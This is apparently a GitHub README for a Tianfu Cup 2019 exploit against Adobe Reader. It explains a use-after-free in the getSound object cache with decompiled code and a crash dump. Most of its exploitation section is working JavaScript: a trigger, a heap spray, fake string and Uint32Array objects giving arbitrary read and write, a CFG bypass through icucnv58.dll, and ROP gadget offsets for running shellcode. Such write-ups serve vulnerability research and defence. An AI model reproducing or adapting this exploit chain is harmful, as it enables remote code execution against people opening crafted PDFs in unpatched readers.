Skip to content

zuypt/Tianfucup19-Adobe-exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

Description of the vulnerability

Incorrect handling object in memory while executing javascript result in UAF vulnerability.

Technical Details

This analysis is done on adobe reader version 2019.012.20040.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
eax=5c982fb8 ebx=3aedefc0 ecx=219daff0 edx=07900000 esi=219daff0 edi=4f03cbd8
eip=548beed7 esp=050fe554 ebp=050fe560 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
EScript!mozilla::HashBytes+0x2e497:
548beed7 8b4004          mov     eax,dword ptr [eax+4] ds:002b:5c982fbc=????????

Vulnerability Discovery/Analysis

function gc() {for(var i = 0; i < 3; i++) {var z = new ArrayBuffer(1024*1024*100)}}
this.getSound('sound').toString()
this.getSound('z') //help trigger garbage collector
gc()
this.getSound('sound')

sub_c3140 is invoked everytime we call this.getSound. sub_c3140 creates a dictionary (std::map) to cache JSObject so it doesn't have to create a new object everytime this.getSound is invoked. The name of the sound object is used as key to index into the dictionary. When the object has no reference left sub_C3050 is called to remove the object from the dictionary. The problem is sub_c3140 uses two different string objects for the cache and the JSObject's private data.

wchar_t *__cdecl z_newSoundObject_C3140(wchar_t *context, T *arg)
{
  wchar_t *soundname; // esi MAPDST
  void *pddoc; // eax MAPDST
  int *v4; // eax
  wchar_t **v5; // eax
  wchar_t *obj; // eax MAPDST
  wchar_t *v8; // esi
  _DWORD *v9; // eax
  wchar_t *v11; // [esp+14h] [ebp-1Ch]
  wchar_t *v12; // [esp+18h] [ebp-18h]
  int v13; // [esp+1Ch] [ebp-14h]
  int v15; // [esp+2Ch] [ebp-4h]

  soundname = z_EStrNewImpl_sub_46E35(arg->objname, 3);
  pddoc = arg->pddoc;
  v15 = 0;
  z_idx_473A4(&v11, &soundname);
  LOBYTE(v15) = 1;
  v4 = sub_72B6B(&gSound);
  sub_97965(v4, &v12, &pddoc);
  LOBYTE(v15) = 2;
  if ( v11 )
    sub_4786E(v11);
  v15 = 3;
  if ( soundname )
    sub_4786E(soundname);
  v15 = -1;
  v5 = sub_72B6B(&gSound);
  if ( v12 != *v5 )
    return *(v12 + 6); /* return the cached object instead of creating a new one */
  z_ESContextPushTempScope_3C0F0(context);
  obj = z_ESObjectCreate_3DD80(context, 0, "Sound", 0);
  if ( obj )
  {
    v8 = z_EStrNewImpl_sub_46E35(arg->objname, 3); /* create a new string object to use as key */
    v12 = v8;
    v15 = 4;
    pddoc = arg->pddoc;
    z_idx_473A4(&v11, &v12);
    LOBYTE(v15) = 5;
    sub_72B6B(&gSound);
    sub_C26D8(&v13, &pddoc);
    *(v13 + 24) = obj; /* put the object into the cache */
    LOBYTE(v15) = 6;
    if ( v11 )
      sub_4786E(v11);
    v15 = 7;
    if ( v8 )
      sub_4786E(v8);
    v15 = -1;
    z_ESObjectSetPreciseGetProc_40980(obj, "name", sub_C30F0);
    z_ESObjectSetPreciseCallProc_41470(obj, "play", sub_C33C0);
    z_ESObjectSetPreciseCallProc_41470(obj, "pause", &sub_C3330);
    z_ESObjectSetPreciseCallProc_41470(obj, "stop", &sub_C3450);
    z_ESObjectSetPreciseCallProc_41470(obj, "toString", z_Sound_toString_C34E0);
    z_ESObjectSetPreciseCallProc_41470(obj, "valueOf", z_Sound_toString_C34E0);
    z_ESContextPopTempScope_3D300(context);
    v9 = z_EStrNewImpl_sub_46E35(arg->objname, 3);
    z_ESObjectSetPrivateData_445C0(obj, "Sound", v9); /* create a different string to use as sound name */
    sub_64000(obj, arg->pddoc);
    z_ESObjectSetDestructProc_44830(obj, z_SoundOjbect_destruct_C3050);
    z_ESClientAddESObject_43500(context, obj, "Sound");
    z_ESContextRemoveRoot_74F00(context, obj);
  }
  return obj;
}

sub_C3050 frees and removes JSObject from cache based on the name string saved in its privated data.

signed int __cdecl z_SoundOjbect_destruct_C3050(int obj)
{
  wchar_t *soudname; // edi
  unsigned int v2; // ebx MAPDST
  signed int result; // eax
  wchar_t *v4; // esi MAPDST
  _DWORD *v5; // eax
  wchar_t *v7; // [esp+14h] [ebp-14h]
  int v9; // [esp+24h] [ebp-4h]

  soudname = z_ESObjectGetPrivateData_46700(obj, "Sound"); /* remove JSObject from cache base on its private data */
  v2 = z_sub_5B1C0(obj);
  result = 1;
  if ( soudname )
  {
    v4 = sub_473C8(soudname);
    v9 = 0;
    z_idx_473A4(&v7, &v4);
    LOBYTE(v9) = 1;
    v5 = sub_72B6B(&gSound);
    sub_97928(v5, &v2);
    LOBYTE(v9) = 2;
    if ( v7 )
      sub_4786E(v7);
    v9 = 3;
    if ( v4 )
      sub_4786E(v4);
    v9 = -1;
    sub_4786E(soudname);
    result = 1;
  }
  return result;
}

When toString is called. JSObject's private data is converted into multibytes string.

int __cdecl z_Sound_toString_C34E0(int a1, int a2, int a3, int a4)
{
  int v5; // ebx
  wchar_t *v6; // esi
  wchar_t *v7; // edi
  void *v8; // eax
  void *v9; // eax
  int v10; // eax

  if ( z_ESObjectGetPrivateData_46700(a1, "Dead") )
    return z_ESThrowExceptionExVoid_AE7F0(a1, a2, a3, 13, 0);
  v5 = z_ESObjectGetPrivateData_46700(a1, "Sound"); /* get soundname */
  v6 = z_EStrNewImpl_sub_46E35("[object Sound=\"", 1);
  v7 = z_EStrNewImpl_sub_46E35("\"]", 1);
  z_EStrSetEncoding_5A4F0(v6, &NewSize); /* soundname is converted into multibytes tring */
  z_EStrSetEncoding_5A4F0(v5, &NewSize);
  z_EStrSetEncoding_5A4F0(v7, &NewSize);
  v8 = sub_496F0(v5);
  sub_4BB50(v6, v8);
  v9 = sub_496F0(v7);
  sub_4BB50(v6, v9);
  v10 = sub_496F0(v6);
  z_ESValSetString_3F000(a4, v10);
  if ( v7 )
    sub_4786E(v7);
  if ( v6 )
    sub_4786E(v6);
  return 1;
}

The string object in private data and in the dictionary no longer matches after toString is called. This left a stale pointer in the dictionary leads to UAF.

Exploitation Heap spray is used to reliably put attacker's controlled data at 0x20000058 but this bug can also be exploited without a heapspray.

/* heap spray */
SPRAY_SIZE 	= 0x2000
SPRAY 		= Array(SPRAY_SIZE)
GUESS 		= 0x20000058 //0x20d00058 
for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24)

Through heap shaping I convert this bug in to an UAF of Array object so that I can fake the f.currentValueIndices'selements buffer - f.currentValueIndices creates a new array object everytime it is accessed.

//...snip...
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices //everytime currentValueIndices a new Array object is created
	try {
		 if (this.getSound(i)[0] == 0) { //check if the sound object is replaced with an array object successfully
		 	RECLAIMS[i] = this.getSound(i)

new Uint32Array(64) is used to allocated back into freed elements buffer so that I can fake arbitrary object.

//...snip...
for(var i=0; i<FREE_110_SZ; i++) { //one of these Uint32Array will be our fake elements buffer
	FREES_110[i] = new Uint32Array(64)
	FREES_110[i][0] = 0x33441122
	FREES_110[i][1] = 0xffffff81 //spidermonkey tag for UINT32
}

Fake a string object for arbitrary read.

/* spray fake strings */
//...snip...
	var dv = new DataView(SPRAY[i])
	dv.setUint32(0, 0x102, 		true) //string header
	dv.setUint32(4, GUESS+12, 	true) //string buffer, point here to leak back idx 0x20000064
	dv.setUint32(8, 0x1f, 		true) //string length
	dv.setUint32(12, i,			true) //index into SPRAY that is at 0x20000058
	delete dv
//...snip...
/////////////////////////////////

//app.alert("Create fake string done")
/* point one of our element to fake string */
FAKE_ELES[4] = GUESS
FAKE_ELES[5] = 0xffffff85 //string tag
// /////////////////////////////////

Fake an Uint32Array for arbitrary write.

for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
FAKE_ELES[6] = GUESS+0x10
FAKE_ELES[7] = 0xffffff87 //array tag
function mywrite(addr, val) {
	DV.setUint32(96, addr, true)
	T[3][0] = val
}

Bypass CFG I noticed that icucnv58.dll doesn't have CFG enable so I leak its base address. All ROP gadget is taken from there.

ACROFORM_BASE = vftable-0x07A55BC
console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
assert(ACROFORM_BASE>0)
r = myread(ACROFORM_BASE+0xBF2E2C)
//a86f5089230164fb6359374e70fe1739
ICU_BASE = myread(r+16)
console.println('ICU_BASE: ' + ICU_BASE.toString(16))
assert(ICU_BASE>0)
/////////////////////////////////

g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret

Finally overwrite a CTextField's vftable to do ROP and execute shellcode.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published